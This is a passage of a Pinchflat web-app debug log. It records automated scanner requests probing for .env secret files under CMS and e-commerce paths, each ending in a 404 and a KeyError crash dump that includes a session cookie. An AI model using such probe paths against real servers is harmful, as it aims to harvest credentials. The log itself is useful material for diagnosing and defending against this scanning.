"SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3385.0>, params: %{}, path_info: ["joomla", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/joomla/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6d8M6xM6i0IAARQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/joomla/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 81, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /joomla/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/joomla/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 81, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: fal (truncated) 02:10:14.317 [info] GET /magento/.env 02:10:14.319 [debug] QUERY OK source="settings" db=0.6ms idle=315.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.319 [debug] QUERY OK source="settings" db=0.0ms idle=212.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.319 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:14.319 [error] #PID<0.3386.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 82) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /magento/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /magento/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/magento/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 82, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3386.0>, params: %{}, path_info: ["magento", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/magento/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6eV0FMtHmPoAARRB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/magento/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 82, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /magento/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/magento/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 82, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, hal (truncated) 02:10:14.432 [info] GET /shopify/.env 02:10:14.433 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=325.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.434 [debug] QUERY OK source="settings" db=0.3ms idle=222.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.434 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:14.434 [error] #PID<0.3387.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 83) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /shopify/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /shopify/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/shopify/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 83, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3387.0>, params: %{}, path_info: ["shopify", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/shopify/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6exHDKJHoYkAARSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/shopify/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 83, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /shopify/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/shopify/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 83, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, hal (truncated) 02:10:14.542 [info] GET /prestashop/.env 02:10:14.543 [debug] QUERY OK source="settings" db=0.4ms idle=331.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.544 [debug] QUERY OK source="settings" db=0.2ms idle=224.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:14.544 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:14.545 [error] #PID<0.3388.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 84) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /prestashop/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /prestashop/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/prestashop/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 84, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3388.0>, params: %{}, path_info: ["prestashop", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/prestashop/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6fLZGVIEZ7AAARTB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/prestashop/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, 